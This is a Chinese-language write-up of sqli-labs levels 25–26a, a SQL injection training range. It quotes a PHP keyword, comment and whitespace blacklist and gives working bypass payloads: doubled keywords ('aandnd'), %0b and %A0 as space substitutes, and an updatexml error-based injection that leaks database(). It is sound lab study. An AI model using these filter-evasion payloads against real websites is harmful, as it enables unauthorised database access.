sqli-labs靶场通关笔记:第25-26a关 and、or、空格和注释符多重过滤

第25关 对or、and的过滤

本关页面给了提示,会对输入进行过滤,用语法测试发现过滤了and和or。

解题思路:

1.双写绕过

2.符号代替

第25a关 数字型的过滤

第26关 空格和注释的过滤

这一关过滤了更多字符串,看一下源代码:

sql 复制代码
function blacklist($id)
{
    $id = preg_replace('/or/i', "", $id);         // 不区分大小写地移除字符串中的"or"
    $id = preg_replace('/and/i', "", $id);        // 不区分大小写地移除字符串中的"and"
    $id = preg_replace('/[\/\*]/', "", $id);      // 移除字符串中的斜杠(/)和星号(*),防止SQL注释(/* ... */)
    $id = preg_replace('/[--]/', "", $id);        // 移除字符串中的连续减号(--),防止SQL行注释
    $id = preg_replace('/[#]/', "", $id);         // 移除字符串中的井号(#),防止SQL行注释
    $id = preg_replace('/[\s]/', "", $id);        // 移除字符串中的所有空白字符(空格、制表符、换行等)
    $id = preg_replace('/[\/\\\\]/', "", $id);    // 移除字符串中的斜杠(/)和反斜杠(\),防止路径遍历或转义字符
    
    return $id;                                    // 返回过滤后的字符串
}

可以利用其他编码的字符代替空格,如%C2%A0,但是有的不一定会被解析。这里利用报错注入,因为不用空格。

sql 复制代码
?id=1'||(updatexml(1,concat(0x7e,database()),1))||'

第26a关 空格和注释的过滤,且为')闭合的盲注

语法:

sql 复制代码
?id=1')aandnd%0blength(database())<10%0baandnd%0b('1')=('1

小结:

写语法的时候,这两关出现报错太多了,空格过滤是最麻烦的地方,虽然可以用其他字符串代替,但是很多字符会出现不被解析的情况,而且有的字符被解析为空格,语法仍然会报错。在用union%0bselect尝试时就一直报错,猜测是空格过滤破坏了union联合注入的语法结构。加上注释符过滤,双写绕过,多种绕过同时使用可能会对语法结构造成一定影响。那么,多尝试其他办法,总是好的。